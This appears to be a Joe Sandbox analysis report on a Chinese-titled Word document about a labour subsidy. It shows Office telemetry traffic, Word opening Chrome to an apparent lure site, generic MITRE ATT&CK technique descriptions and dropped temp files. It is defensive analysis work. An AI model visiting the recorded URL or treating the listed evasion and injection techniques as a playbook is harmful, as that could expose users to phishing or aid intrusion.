2024-12-02 03:59:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:45 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 3a28b270-401e-00ac-75b5-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035945Z-174f78459685726chC1EWRsnbg00000013xg00000000bz91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:46 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49973	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:45 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2d33395e-b01e-0002-651f-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035946Z-174f7845968frfdmhC1EWRxxbw00000013yg000000009b9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49974	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:46 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: fea72aef-601e-00ab-3c71-4066f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035946Z-174f7845968kdththC1EWRzvxn0000000gbg000000000hah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49975	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:46 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:46 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: b6aee436-d01e-0028-0d5a-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035946Z-174f7845968px8v7hC1EWR08ng0000001470000000003wrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:46 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49976	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:47 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:47 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 58155e02-501e-0035-3e36-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035947Z-174f784596886s2bhC1EWR743w00000013wg00000000dkyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:47 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49978	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:47 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:48 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f4f10734-001e-0028-77de-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035948Z-174f78459684bddphC1EWRbht400000013r00000000028w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:48 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	22:57:45
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x980000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:57:52
Start date:	01/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.shenqing1.com/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:57:53
Start date:	01/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2032,i,2264180495487072933,6257516792534871649,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:58:08
Start date:	01/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7b12f0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\37B3C11D.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\68353A8C.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{8DFAFD4A-64D9-4C78-B75C-0C50CA6E9114}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A819D29E-C509-4877-A8AE-338D8493AB28}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1733111866540649900_AF7DBA7A-86BE-45D1-90EE-946D797784AC.log

C:\Users\user\AppData\Local\Temp\TCDE74C.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCDE74C.tmp\architecture.glox

C:\Users\user\AppData\Local\Temp\TCDE75C.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCDE75C.tmp\gb.xsl

C:\Users\user\AppData\Local\Temp\TCDE7BF.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCDE7BF.tmp\chevronaccent.glox

C:\Users\user\AppData\Local\Temp\TCDE7C0.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCDE7C0.tmp\VaryingWidthList.glox

C:\Users\user\AppData\Local\Temp\TCDE7D1.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCDE7D1.tmp\ThemePictureGrid.glox

C:\Users\user\AppData\Local\Temp\TCDE7EB.tmp\Content.inf

Windows Analysis Report
2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx